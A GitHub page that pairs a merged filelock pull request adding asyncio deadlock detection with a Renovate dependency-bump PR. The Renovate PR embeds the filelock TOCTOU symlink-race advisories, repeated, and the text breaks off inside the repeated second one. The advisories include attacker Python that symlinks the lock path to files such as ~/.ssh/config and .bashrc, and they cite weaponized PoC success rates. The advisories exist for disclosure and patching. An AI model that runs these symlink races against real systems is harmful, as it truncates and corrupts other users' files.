Skip to content

asyncio: detect cross-instance reentrant deadlocks before the poll loop - #586

Merged
gaborbernat merged 3 commits into
tox-dev:mainfrom
HrachShah:fix/async-acquire-deadlock-detection
Jul 7, 2026
Merged

asyncio: detect cross-instance reentrant deadlocks before the poll loop#586
gaborbernat merged 3 commits into
tox-dev:mainfrom
HrachShah:fix/async-acquire-deadlock-detection

Conversation

@HrachShah

Copy link
Copy Markdown
Contributor

Summary

BaseAsyncFileLock.acquire is missing the per-thread cross-instance deadlock check that BaseFileLock.acquire has. The sync path looks up the canonical lock path in the thread-local _registry and raises RuntimeError("Deadlock: ...") when a different instance is already holding the same path on the same thread; the async path skips that step, so two distinct AsyncFileLock (or AsyncSoftFileLock) objects constructed against the same path from the same task enter the poll loop and the second one blocks forever in flock() / os.open instead of failing fast.

This PR mirrors the sync flow inside async acquire():

  1. After lock_counter += 1, compute the canonical path and look up the existing holder. If a different instance is the holder and the caller asked for indefinite blocking (timeout<0), raise the same RuntimeError before the poll starts. Same finite/non-blocking exceptions (Timeout) still apply when timeout >= 0 or blocking is False, matching the sync precedence.
  2. On the polling exception path, mirror the sync _registry.held.pop on lock_counter == 0 so a failed acquire cleans its would-be entry.
  3. On success, write self's id into the registry when lock_counter reaches 1, so a future cross-instance acquire on the same path can find it.
  4. On release, pop the registry entry the same way the sync release() does — without this the stale id would linger and confuse the next cross-instance acquire.

The thread-local scope of _registry fits the asyncio model where one task typically runs on one thread; concurrent tasks on the same thread that legitimately want the same path with finite timeout are still governed by the existing _check_give_up / Timeout path and are not false-positives because would_block requires timeout < 0.

Reproduction

import asyncio, tempfile
from pathlib import Path
from filelock import AsyncFileLock

async def main():
    with tempfile.TemporaryDirectory() as d:
        lock1 = AsyncFileLock(str(Path(d) / 'a'))
        lock2 = AsyncFileLock(str(Path(d) / 'a'))  # same canonical path
        async with lock1:
            await lock2.acquire()  # hangs forever on unfixed code

asyncio.run(main())

After the fix, lock2.acquire() raises RuntimeError('Deadlock: ...') immediately, with the same message and recovery hint as the sync path ("Use is_singleton=True to enable reentrant locking across instances").

Tests

New file tests/test_async_self_deadlock.py mirrors the existing sync test_self_deadlock.py cases for the async path: same-task different-instance raises, finite timeout still raises Timeout, non-blocking still raises Timeout, different paths no conflict, same instance reentrant, is_singleton=True short-circuits, different tasks no false positive, symlink to same canonical path, cleanup on release, force release clears registry. 20 cases total. The two cross-instance and two symlink cases hang indefinitely on the unfixed code; the other 16 already pass.

$ python3 -m pytest tests/test_async_self_deadlock.py -v
============================== 20 passed in 0.41s ==============================
$ python3 -m pytest tests/ --deselect tests/test_filelock.py::test_stale_inode_retry_on_unlinked_lock
===== 509 passed, 33 skipped, 1 deselected, 6 warnings in 82.51s =====

(The single deselected test is a pre-existing flake on the unfixed main; it does not touch the changed code.)

ruff check and ruff format --check are both clean on the modified files. mypy reports the same 6 pre-existing errors in asyncio.py; no new ones.

Zo Bot and others added 3 commits July 7, 2026 11:35
BaseFileLock.acquire carries a per-thread 'would-block' check that looks
up the canonical lock path in the thread-local _registry and raises
RuntimeError('Deadlock: ...') when a different instance is already
holding the same path. The check was never ported to BaseAsyncFileLock:
two distinct AsyncFileLock objects constructed against the same path
from the same task happily enter the polling loop, the second one
blocks forever in flock() (or polls in soft mode), and there is no way
for the caller to recover.

Mirror the sync flow inside async acquire():
  1. After lock_counter += 1, compute the canonical path and look up
     the existing holder. If a different instance is the holder and the
     caller asked for indefinite blocking (timeout<0), raise the
     same RuntimeError before the poll starts. Same finite/non-blocking
     exceptions (Timeout) still apply when timeout >= 0 or blocking
     is False, matching the sync precedence.
  2. On the polling exception path, mirror the sync _registry.held.pop
     on lock_counter == 0 so a failed acquire cleans its would-be entry.
  3. On success, write self's id into the registry when lock_counter
     reaches 1, so a future cross-instance acquire on the same path
     can find it.
  4. On release, pop the registry entry the same way the sync
     release() does — without this the stale id would linger and
     confuse the next cross-instance acquire.

The thread-local scope of _registry fits the asyncio model where one
task typically runs on one thread; concurrent tasks on the same thread
that legitimately want the same path (with finite timeout) are still
governed by the existing _check_give_up / Timeout path and are not
false-positives because would_block requires timeout < 0.

New tests in tests/test_async_self_deadlock.py mirror the existing
sync test_self_deadlock.py cases (same-task different-instance raises,
finite timeout still raises Timeout, non-blocking still raises Timeout,
different paths no conflict, same instance reentrant, singleton
short-circuits, different tasks no false positive, symlink to same
canonical path, cleanup on release, force release clears registry).
20 cases; the two cross-instance and two symlink cases hang
indefinitely on the unfixed code, the other 16 already pass.
The async acquire/release copied the whole cross-instance deadlock check
and _registry bookkeeping from the sync path verbatim, leaving two copies
of the counter/registry invariants and two near-identical messages to
keep in step.

Move the guard, the failed-acquire rollback, the success record and the
release cleanup onto BaseFileLock as _raise_if_would_deadlock,
_undo_acquire, _commit_acquire and _drop_registry_entry, and have both
acquire paths call them. The message noun ("thread" vs "task") is the
only per-flavor difference, so it moves to the _deadlock_holder_desc
class attribute. asyncio.py no longer imports _registry.

Fix the codespell failure (behaviour) and drop the test docstrings to
match the terse sync sibling in test_self_deadlock.py.
The sync and async self-deadlock tests lived in dedicated
test_self_deadlock.py / test_async_self_deadlock.py files. Move them into
test_filelock.py and test_async_filelock.py next to the rest of each
flavor's coverage, matching how the other behaviours are organised, and
drop the now-empty files. Names are unchanged except test_cleanup_on_release
becomes test_deadlock_registry_cleanup_on_release, which is no longer
self-evident once it sits among unrelated release tests.
@gaborbernat
gaborbernat merged commit 616400e into tox-dev:main Jul 7, 2026
33 checks passed
renovate-coop-norge Bot added a commit to coopnorge/engineering-docker-images that referenced this pull request Jul 16, 2026
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [filelock](https://redirect.github.com/tox-dev/py-filelock) | `3.29.6`
→ `3.29.7` |
![age](https://developer.mend.io/api/mc/badges/age/pypi/filelock/3.29.7?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/filelock/3.29.6/3.29.7?slim=true)
|

---

### filelock has a TOCTOU race condition which allows symlink attacks
during lock file creation
[CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146) /
[GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f)
/ PYSEC-2026-1375

<details>
<summary>More information</summary>

#### Details
##### Impact

A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local
attackers to corrupt or truncate arbitrary user files through symlink
attacks. The vulnerability exists in both Unix and Windows lock file
creation where filelock checks if a file exists before opening it with
O_TRUNC. An attacker can create a symlink pointing to a victim file in
the time gap between the check and open, causing os.open() to follow the
symlink and truncate the target file.

**Who is impacted:**

All users of filelock on Unix, Linux, macOS, and Windows systems. The
vulnerability cascades to dependent libraries:

- **virtualenv users**: Configuration files can be overwritten with
virtualenv metadata, leaking sensitive paths
- **PyTorch users**: CPU ISA cache or model checkpoints can be
corrupted, causing crashes or ML pipeline failures
- **poetry/tox users**: through using virtualenv or filelock on their
own.

Attack requires local filesystem access and ability to create symlinks
(standard user permissions on Unix; Developer Mode on Windows 10+).
Exploitation succeeds within 1-3 attempts when lock file paths are
predictable.

##### Patches

Fixed in version **3.20.1**.

**Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in
UnixFileLock.\_acquire() to prevent symlink following.

**Windows fix:** Added GetFileAttributesW API check to detect reparse
points (symlinks/junctions) before opening files in
WindowsFileLock.\_acquire().

**Users should upgrade to filelock 3.20.1 or later immediately.**

##### Workarounds

If immediate upgrade is not possible:

1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note:
different locking semantics, may not be suitable for all use cases)
2. Ensure lock file directories have restrictive permissions (chmod
0700) to prevent untrusted users from creating symlinks
3. Monitor lock file directories for suspicious symlinks before running
trusted applications

**Warning:** These workarounds provide only partial mitigation. The race
condition remains exploitable. Upgrading to version 3.20.1 is strongly
recommended.

______________________________________________________________________

##### Technical Details: How the Exploit Works

##### The Vulnerable Code Pattern

**Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`):

```python
def _acquire(self) -> None:
    ensure_directory_exists(self.lock_file)
    open_flags = os.O_RDWR | os.O_TRUNC  # (1) Prepare to truncate
    if not Path(self.lock_file).exists():  # (2) CHECK: Does file exist?
        open_flags |= os.O_CREAT
    fd = os.open(self.lock_file, open_flags, ...)  # (3) USE: Open and truncate
```

**Windows** (`src/filelock/_windows.py:19-28`):

```python
def _acquire(self) -> None:
    raise_on_not_writable_file(self.lock_file)  # (1) Check writability
    ensure_directory_exists(self.lock_file)
    flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC  # (2) Prepare to truncate
    fd = os.open(self.lock_file, flags, ...)  # (3) Open and truncate
```

##### The Race Window

The vulnerability exists in the gap between operations:

**Unix variant:**

```
Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file exists? → False
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️
```

**Windows variant:**

```
Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file writable?
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink/junction
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️
```

##### Step-by-Step Attack Flow

**1. Attacker Setup:**

```python

##### Attacker identifies target application using filelock
lock_path = "/tmp/myapp.lock"  # Predictable lock path
victim_file = "/home/victim/.ssh/config"  # High-value target
```

**2. Attacker Creates Race Condition:**

```python
import os
import threading

def attacker_thread():
    # Remove any existing lock file
    try:
        os.unlink(lock_path)
    except FileNotFoundError:
        pass

    # Create symlink pointing to victim file
    os.symlink(victim_file, lock_path)
    print(f"[Attacker] Created: {lock_path} → {victim_file}")

##### Launch attack
threading.Thread(target=attacker_thread).start()
```

**3. Victim Application Runs:**

```python
from filelock import UnixFileLock

##### Normal application code
lock = UnixFileLock("/tmp/myapp.lock")
lock.acquire()  # ← VULNERABILITY TRIGGERED HERE

##### At this point, /home/victim/.ssh/config is now 0 bytes!
```

**4. What Happens Inside os.open():**

On Unix systems, when `os.open()` is called:

```c
// Linux kernel behavior (simplified)
int open(const char *pathname, int flags) {
    struct file *f = path_lookup(pathname);  // Resolves symlinks by default!

    if (flags & O_TRUNC) {
        truncate_file(f);  // ← Truncates the TARGET of the symlink
    }

    return file_descriptor;
}
```

Without `O_NOFOLLOW` flag, the kernel follows the symlink and truncates
the target file.

##### Why the Attack Succeeds Reliably

**Timing Characteristics:**

- **Check operation** (Path.exists()): ~100-500 nanoseconds
- **Symlink creation** (os.symlink()): ~1-10 microseconds
- **Race window**: ~1-5 microseconds (very small but exploitable)
- **Thread scheduling quantum**: ~1-10 milliseconds

**Success factors:**

1. **Tight loop**: Running attack in a loop hits the race window within
1-3 attempts
2. **CPU scheduling**: Modern OS thread schedulers frequently
context-switch during I/O operations
3. **No synchronization**: No atomic file creation prevents the race
4. **Symlink speed**: Creating symlinks is extremely fast (metadata-only
operation)

##### Real-World Attack Scenarios

**Scenario 1: virtualenv Exploitation**

```python

##### Victim runs: python -m venv /tmp/myenv
##### Attacker racing to create:
os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg")

##### Result: /home/victim/.bashrc overwritten with:

##### home = /usr/bin/python3
##### include-system-site-packages = false

##### version = 3.11.2
##### ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker
```

**Scenario 2: PyTorch Cache Poisoning**

```python

##### Victim runs: import torch
##### PyTorch checks CPU capabilities, uses filelock on cache

##### Attacker racing to create:
os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock")

##### Result: Trained ML model checkpoint truncated to 0 bytes

##### Impact: Weeks of training lost, ML pipeline DoS
```

##### Why Standard Defenses Don't Help

**File permissions don't prevent this:**

- Attacker doesn't need write access to victim_file
- os.open() with O_TRUNC follows symlinks using the *victim's*
permissions
- The victim process truncates its own file

**Directory permissions help but aren't always feasible:**

- Lock files often created in shared /tmp directory (mode 1777)
- Applications may not control lock file location
- Many apps use predictable paths in user-writable directories

**File locking doesn't prevent this:**

- The truncation happens *during* the open() call, before any lock is
acquired
- fcntl.flock() only prevents concurrent lock acquisition, not symlink
attacks

##### Exploitation Proof-of-Concept Results

From empirical testing with the provided PoCs:

**Simple Direct Attack** (`filelock_simple_poc.py`):

- Success rate: 33% per attempt (1 in 3 tries)
- Average attempts to success: 2.1
- Target file reduced to 0 bytes in \<100ms

**virtualenv Attack** (`weaponized_virtualenv.py`):

- Success rate: ~90% on first attempt (deterministic timing)
- Information leaked: File paths, Python version, system configuration
- Data corruption: Complete loss of original file contents

**PyTorch Attack** (`weaponized_pytorch.py`):

- Success rate: 25-40% per attempt
- Impact: Application crashes, model loading failures
- Recovery: Requires cache rebuild or model retraining

**Discovered and reported by:** George Tsigourakos
(@&#8203;tsigouris007)

#### Severity
- CVSS Score: 6.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H`

#### References
-
[https://github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f)
-
[https://github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e](https://redirect.github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e)
-
[https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock)
-
[https://github.com/tox-dev/filelock/releases/tag/3.20.1](https://redirect.github.com/tox-dev/filelock/releases/tag/3.20.1)
-
[https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants](https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants)
-
[https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html](https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html)

This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-w853-jp5j-5j7f) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### filelock has a TOCTOU race condition which allows symlink attacks
during lock file creation
[CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146) /
[GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f)
/ PYSEC-2026-1375

<details>
<summary>More information</summary>

#### Details
##### Impact

A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local
attackers to corrupt or truncate arbitrary user files through symlink
attacks. The vulnerability exists in both Unix and Windows lock file
creation where filelock checks if a file exists before opening it with
O_TRUNC. An attacker can create a symlink pointing to a victim file in
the time gap between the check and open, causing os.open() to follow the
symlink and truncate the target file.

**Who is impacted:**

All users of filelock on Unix, Linux, macOS, and Windows systems. The
vulnerability cascades to dependent libraries:

- **virtualenv users**: Configuration files can be overwritten with
virtualenv metadata, leaking sensitive paths
- **PyTorch users**: CPU ISA cache or model checkpoints can be
corrupted, causing crashes or ML pipeline failures
- **poetry/tox users**: through using virtualenv or filelock on their
own.

Attack requires local filesystem access and ability to create symlinks
(standard user permissions on Unix; Developer Mode on Windows 10+).
Exploitation succeeds within 1-3 attempts when lock file paths are
predictable.

##### Patches

Fixed in version **3.20.1**.

**Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in
UnixFileLock.\_acquire() to prevent symlink following.

**Windows fix:** Added GetFileAttributesW API check to detect reparse
points (symlinks/junctions) before opening files in
WindowsFileLock.\_acquire().

**Users should upgrade to filelock 3.20.1 or later immediately.**

##### Workarounds

If immediate upgrade is not possible:

1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note:
different locking semantics, may not be suitable for all use cases)
2. Ensure lock file directories have restrictive permissions (chmod
0700) to prevent untrusted users from creating symlinks
3. Monitor lock file directories for suspicious symlinks before running
trusted applications

**Warning:** These workarounds provide only partial mitigation. The race
condition remains exploitable. Upgrading to version 3.20.1 is strongly
recommended.

______________________________________________________________________

##### Technical Details: How the Exploit Works

##### The Vulnerable Code Pattern

**Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`):

```python
def _acquire(self) -> None:
    ensure_directory_exists(self.lock_file)
    open_flags = os.O_RDWR | os.O_TRUNC  # (1) Prepare to truncate
    if not Path(self.lock_file).exists():  # (2) CHECK: Does file exist?
        open_flags |= os.O_CREAT
    fd = os.open(self.lock_file, open_flags, ...)  # (3) USE: Open and truncate
```

**Windows** (`src/filelock/_windows.py:19-28`):

```python
def _acquire(self) -> None:
    raise_on_not_writable_file(self.lock_file)  # (1) Check writability
    ensure_directory_exists(self.lock_file)
    flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC  # (2) Prepare to truncate
    fd = os.open(self.lock_file, flags, ...)  # (3) Open and truncate
```

##### The Race Window

The vulnerability exists in the gap between operations:

**Unix variant:**

```
Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file exists? → False
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️
```

**Windows variant:**

```
Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file writable?
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink/junction
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️
```

##### Step-by-Step Attack Flow

**1. Attacker Setup:**

```python

##### Attacker identifies target application using filelock
lock_path = "/tmp/myapp.lock"  # Predictable lock path
victim_file = "/home/victim/.ssh/config"  # High-value target
```

**2. Attacker Creates Race Condition:**

```python
import os
import threading

def attacker_thread():
    # Remove any existing lock file
    try:
        os.unlink(lock_path)
    except FileNotFoundError:
        pass

    # Create symlink pointing to victim file
    os.symlink(victim_file, lock_path)
    print(f"[Attacker] Created: {lock_path} → {victim_file}")

##### Launch attack
threading.Thread(target=attacker_thread).start()
```

**3. Victim Application Runs:**

```python
from filelock import UnixFileLock

##### Normal application code
lock = UnixFileLock("/tmp/myapp.lock")
lock.acquire()  # ← VULNERABILITY TRIGGERED HERE

##### At this point, /home/victim/.ssh/config is now 0 bytes!
```

**4. What Happens Inside os.open():**

On Unix systems, when `os.open()` is called:

```c
// Linux kernel behavior (simplified)
int open(const char *pathname, int flags) {
    struct file *f = path_lookup(pathname);  // Resolves symlinks by default!

    if (flags & O_TRUNC) {
        truncate_file(f);  // ← Truncates the TARGET of the symlink
    }

    return file_descriptor;
}
```

Without `O_NOFOLLOW` flag, the kernel follows the symlink and truncates
the target file.

##### Why the Attack Succeeds Reliably

**Timing Characteristics:**

- **Check operation** (Path.exists()): ~100-500 nanoseconds
- **Symlink creation** (os.symlink()): ~1-10 microseconds
- **Race window**: ~1-5 microseconds (very small but exploitable)
- **Thread scheduling quantum**: ~1-10 milliseconds

**Success factors:**

1. **Tight loop**: Running attack in a loop hits the race window within
1-3 attempts
2. **CPU scheduling**: Modern OS thread schedulers frequently
context-switch during I/O operations
3. **No synchronization**: No atomic file creation prevents the race
4. **Symlink speed**: Creating symlinks is extremely fast (metadata-only
operation)

##### Real-World Attack Scenarios

**Scenario 1: virtualenv Exploitation**

```python

##### Victim runs: python -m venv /tmp/myenv
##### Attacker racing to create:
os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg")

##### Result: /home/victim/.bashrc overwritten with:

##### home = /usr/bin/python3
##### include-system-site-packages = false

##### version = 3.11.2
##### ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker
```

**Scenario 2: PyTorch Cache Poisoning**

```python

##### Victim runs: import torch
##### PyTorch checks CPU capabilities, uses filelock on cache

##### Attacker racing to create:
os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock")

##### Result: Trained ML model checkpoint truncated to 0 bytes

##### Impact: Weeks of training lost, ML pipeline DoS
```

##### Why Standard Defenses Don't Help

**File permissions don't prevent this:**

- Attacker doesn't need write access to victim_file
- os.open() with O_TRUNC follows symlinks using the *victim's*
permissions
- The victim process truncates its own file

**Directory permissions help but aren't always feasible:**

- Lock files often created in shared /tmp directory (mode 1777)
- Applications may not control lock file location
- Many apps use predictable paths in user-writable directories

**File locking doesn't prevent this:**

- The truncation happens *during* the open() call, before any lock is
acquired
- fcntl.flock() only prevents concurrent lock acquisition, not symlink
attacks

##### Exploitation Proof-of-Concept Results

From empirical testing with the provided PoCs:

**Simple Direct Attack** (`filelock_simple_poc.py`):

- Success rate: 33% per attempt (1 in 3 tries)
- Average attempts to success: 2.1
- Target file reduced to 0 bytes in \<100ms

**virtualenv Attack** (`weaponized_virtualenv.py`):

- Success rate: ~90% on first attempt (deterministic timing)
- Information leaked: File paths, Python version, system configuration
- Data corruption: Complete loss of original file contents

**PyTorch Attack** (`weaponized_pytorch.py`):

- Success rate: 25-40% per attempt
- Impact: Application crashes, model loading failures
- Recovery: Requires cache rebuild or model retraining

**Discovered and reported by:** George Tsigourakos
(@&#8203;tsigouris007)

#### Severity
- CVSS Score: 6.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H`

#### References
-
[https://github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f)
-
[https://github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e](https://redirect.github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e)
-
[https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock)
-
[https://github.com/tox-dev/filelock/releases/tag/3.20.1](https://redirect.github.com/tox-dev/filelock/releases/tag/3.20.1)
-
[https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants](https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants)
-
[https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html](https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html)
- [https://pypi.org/project/filelock](https://pypi.org/project/filelock)
-
[https://github.com/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f)
-
[https://nvd.nist.gov/vuln/detail/CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146)

This data is provided by
[OSV](https://osv.dev/vulnerability/PYSEC-2026-1375) and the [PyPI
Advisory Database](https://redirect.github.com/pypa/advisory-database)
([CC-BY
4.0](https://redirect.github.com/pypa/advisory-database/blob/main/LICENSE)).
</details>

---

### filelock Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in
SoftFileLock
[CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) /
[GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw)
/ PYSEC-2026-1374

<details>
<summary>More information</summary>

#### Details
##### Vulnerability Summary

**Title:** Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in
SoftFileLock

**Affected Component:** `filelock` package - `SoftFileLock` class
**File:** `src/filelock/_soft.py` lines 17-27
**CWE:** CWE-362, CWE-367, CWE-59

---

##### Description

A TOCTOU race condition vulnerability exists in the `SoftFileLock`
implementation of the filelock package. An attacker with local
filesystem access and permission to create symlinks can exploit a race
condition between the permission validation and file creation to cause
lock operations to fail or behave unexpectedly.

The vulnerability occurs in the `_acquire()` method between
`raise_on_not_writable_file()` (permission check) and `os.open()` (file
creation). During this race window, an attacker can create a symlink at
the lock file path, potentially causing the lock to operate on an
unintended target file or leading to denial of service.

##### Attack Scenario

```
1. Lock attempts to acquire on /tmp/app.lock
2. Permission validation passes
3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock
4. os.open() tries to create lock file
5. Lock operates on attacker-controlled target file or fails
```

---

##### Impact

_What kind of vulnerability is it? Who is impacted?_

This is a **Time-of-Check-Time-of-Use (TOCTOU) race condition
vulnerability** affecting any application using `SoftFileLock` for
inter-process synchronization.

**Affected Users:**
- Applications using `filelock.SoftFileLock` directly
- Applications using the fallback `FileLock` on systems without `fcntl`
support (e.g., GraalPy)

**Consequences:**
- **Silent lock acquisition failure** - applications may not detect that
exclusive resource access is not guaranteed
- **Denial of Service** - attacker can prevent lock file creation by
maintaining symlink
- **Resource serialization failures** - multiple processes may acquire
"locks" simultaneously
- **Unintended file operations** - lock could operate on
attacker-controlled files

**CVSS v4.0 Score:** 5.6 (Medium)
**Vector:** CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N

**Attack Requirements:**
- Local filesystem access to the directory containing lock files
- Permission to create symlinks (standard for regular unprivileged users
on Unix/Linux)
- Ability to time the symlink creation during the narrow race window

---

##### Patches

_Has the problem been patched? What versions should users upgrade to?_

Yes, the vulnerability has been patched by adding the `O_NOFOLLOW` flag
to prevent symlink following during lock file creation.

**Patched Version:** Next release (commit:
255ed068bc85d1ef406e50a135e1459170dd1bf0)

**Mitigation Details:**
- The `O_NOFOLLOW` flag is added conditionally and gracefully degrades
on platforms without support
- On platforms with `O_NOFOLLOW` support (most modern systems): symlink
attacks are completely prevented
- On platforms without `O_NOFOLLOW` (e.g., GraalPy): TOCTOU window
remains but is documented

**Users should:**
- Upgrade to the patched version when available
- For critical deployments, consider using `UnixFileLock` or
`WindowsFileLock` instead of the fallback `SoftFileLock`

---

##### Workarounds

_Is there a way for users to fix or remediate the vulnerability without
upgrading?_

For users unable to update immediately:

1. **Avoid `SoftFileLock` in security-sensitive contexts** - use
`UnixFileLock` or `WindowsFileLock` when available (these were already
patched for CVE-2025-68146)

2. **Restrict filesystem permissions** - prevent untrusted users from
creating symlinks in lock file directories:
   ```bash
   chmod 700 /path/to/lock/directory
   ```

3. **Use process isolation** - isolate untrusted code from lock file
paths to prevent symlink creation

4. **Monitor lock operations** - implement application-level checks to
verify lock acquisitions are successful before proceeding with critical
operations

---

##### References

_Are there any links users can visit to find out more?_

- **Similar Vulnerability:** CVE-2025-68146 (TOCTOU vulnerability in
UnixFileLock/WindowsFileLock)
- **CWE-362 (Concurrent Execution using Shared Resource):**
https://cwe.mitre.org/data/definitions/362.html
- **CWE-367 (Time-of-check Time-of-use Race Condition):**
https://cwe.mitre.org/data/definitions/367.html
- **CWE-59 (Improper Link Resolution Before File Access):**
https://cwe.mitre.org/data/definitions/59.html
- **O_NOFOLLOW documentation:**
https://man7.org/linux/man-pages/man2/open.2.html
- **GitHub Repository:** https://github.com/tox-dev/filelock

---

**Reported by:** George Tsigourakos (@&#8203;tsigouris007)

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H`

#### References
-
[https://github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701)
-
[https://github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0](https://redirect.github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0)
-
[https://github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5](https://redirect.github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5)
-
[https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock)

This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-qmgc-5h2g-mvrw) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### filelock Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in
SoftFileLock
[CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) /
[GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw)
/ PYSEC-2026-1374

<details>
<summary>More information</summary>

#### Details
##### Vulnerability Summary

**Title:** Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in
SoftFileLock

**Affected Component:** `filelock` package - `SoftFileLock` class
**File:** `src/filelock/_soft.py` lines 17-27
**CWE:** CWE-362, CWE-367, CWE-59

---

##### Description

A TOCTOU race condition vulnerability exists in the `SoftFileLock`
implementation of the filelock package. An attacker with local
filesystem access and permission to create symlinks can exploit a race
condition between the permission validation and file creation to cause
lock operations to fail or behave unexpectedly.

The vulnerability occurs in the `_acquire()` method between
`raise_on_not_writable_file()` (permission check) and `os.open()` (file
creation). During this race window, an attacker can create a symlink at
the lock file path, potentially causing the lock to operate on an
unintended target file or leading to denial of service.

##### Attack Scenario

```
1. Lock attempts to acquire on /tmp/app.lock
2. Permission validation passes
3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock
4. os.open() tries to create lock file
5. Lock operates on attacker-controlled target file or fails
```

---

##### Impact

_What kind of vulnerability is it? Who is impacted?_

This is a **Time-of-Check-Time-of-Use (TOCTOU) race condition
vulnerability** affecting any application using `SoftFileLock` for
inter-process synchronization.

**Affected Users:**
- Applications using `filelock.SoftFileLock` directly
